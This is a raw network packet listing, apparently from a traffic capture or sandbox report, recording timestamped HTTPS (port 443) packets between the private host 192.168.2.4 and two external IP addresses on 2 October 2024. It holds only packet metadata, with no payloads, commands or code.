Oct 2, 2024 06:10:14.017999887 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.018018007 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.018081903 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.018117905 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.018137932 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.018143892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.018177032 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.018198013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.018399000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.018413067 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.018471956 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.018477917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.018558025 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.018800020 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.018815994 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.018865108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.018868923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.018894911 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.018929958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.020030022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.020054102 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.020097971 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.020102978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.020190001 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.020302057 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.020320892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.020359993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.020365000 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.020409107 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.020486116 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.021115065 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.021138906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.021183014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.021188021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.021217108 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.021228075 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.033123970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.033143997 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.033190012 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.033200026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.033226013 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.033251047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.108632088 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.108654022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.108705044 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.108732939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.108748913 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.108980894 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.109000921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.109055996 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.109061003 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.109091043 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.109105110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.109265089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.109278917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.109333038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.109337091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.109478951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.109496117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.109546900 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.109553099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.109565973 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.109603882 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.110699892 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.110713959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.110781908 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.110785961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.111022949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.111041069 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.111078978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.111090899 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.111114979 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.111144066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.112425089 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.112438917 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.112517118 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.112539053 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.113580942 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.116250038 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.123915911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.123938084 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.124011993 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.124022961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.124062061 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.199316978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.199337006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.199409008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.199428082 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.199572086 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.199589968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.199599028 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.199605942 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.199644089 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.199667931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.200026035 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.200042963 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.200081110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.200087070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.200138092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.200186014 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.200231075 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.200237989 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.200242996 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.200294018 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.201380968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.201397896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.201438904 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.201443911 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.201467991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.201484919 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.201900959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.201915979 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.201963902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.201968908 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.201996088 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.202007055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.202512026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.202528954 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.202569008 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.202574968 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.202599049 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.202614069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.214730978 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.214751959 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.214804888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.214813948 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.214868069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.290066957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.290106058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.290155888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.290185928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.290206909 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.290379047 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.290963888 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.290991068 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.291023016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.291028023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.291053057 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.291073084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.291074991 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.291088104 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.291109085 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.291121960 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.291126013 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.291152954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.291162014 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.291184902 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.291201115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.291234016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.291238070 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.291260958 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.291290045 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.292594910 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.292612076 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.292659998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.292665958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.292695999 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.292710066 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.292824030 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.292840958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.292885065 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.292890072 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.292915106 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.292931080 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.293625116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.293648958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.293688059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.293692112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.293715954 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.293735027 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.305588961 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.305618048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.305665016 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.305670023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.305697918 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.305716991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.381061077 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.381097078 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.381150961 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.381160975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.381185055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.381232023 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.381309986 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.381325960 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.381371975 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.381376982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.381416082 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.381616116 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.381629944 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.381663084 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.381668091 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.381695986 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.381709099 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.381917953 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.381933928 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.382010937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.382016897 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.382273912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.382963896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.382980108 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.383039951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.383044958 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.383277893 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.383299112 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.383362055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.383368969 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.383423090 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.384258032 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.384288073 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.384340048 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.384346008 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.384368896 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.384527922 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.396383047 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.396403074 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.396467924 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.396476984 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.396517992 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.472378016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.472404957 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.472472906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.472480059 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.472510099 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.472539902 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.472584963 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.478642941 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.478660107 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.478725910 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.478734016 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.478912115 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.478946924 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.478967905 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.478976011 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.478998899 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.479296923 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.479310989 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.479372978 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.479377985 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.479407072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.479598045 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.479625940 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.479657888 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.479662895 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.479675055 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.479717970 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.479732990 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.479779005 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.479785919 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.487001896 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.487050056 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.487071037 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.487076998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.487116098 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.548974037 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:14.549118042 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:14.562127113 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:14.562143087 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:14.562475920 CEST	443	49745	20.114.59.183	192.168.2.4
Oct 2, 2024 06:10:14.562870026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.562885046 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.562963009 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.562973022 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.563107967 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.563126087 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.563183069 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.563189983 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.563411951 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.569355965 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.569371939 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.569463015 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.569468021 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.569510937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.569623947 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.569639921 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.569678068 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.569684982 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.569708109 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.569724083 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.569919109 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.569941044 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.569976091 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.569979906 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.570007086 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.570024967 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.570262909 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.570276976 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.570314884 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.570318937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.570341110 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.570363998 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.570580006 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.570595026 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.570641041 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.570646048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.570704937 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.577507973 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.577522993 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.577609062 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.577615023 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.578167915 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.617408991 CEST	49745	443	192.168.2.4	20.114.59.183
Oct 2, 2024 06:10:14.653933048 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.653956890 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.654025078 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.654037952 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.654150009 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.654170036 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.654215097 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.654221058 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.654238939 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.654268026 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.660058975 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.660074949 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.660140991 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.660145998 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.660321951 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.660341024 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.660376072 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.660381079 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.660408974 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.660432100 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.660697937 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.660725117 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.660753965 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.660758972 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.660777092 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.661061049 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.661078930 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.661114931 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.661119938 CEST	443	49744	167.114.14.168	192.168.2.4
Oct 2, 2024 06:10:14.661135912 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.661165953 CEST	49744	443	192.168.2.4	167.114.14.168
Oct 2, 2024 06:10:14.661312103 CEST	443	49744	167.114.14.168	192.168.2.4
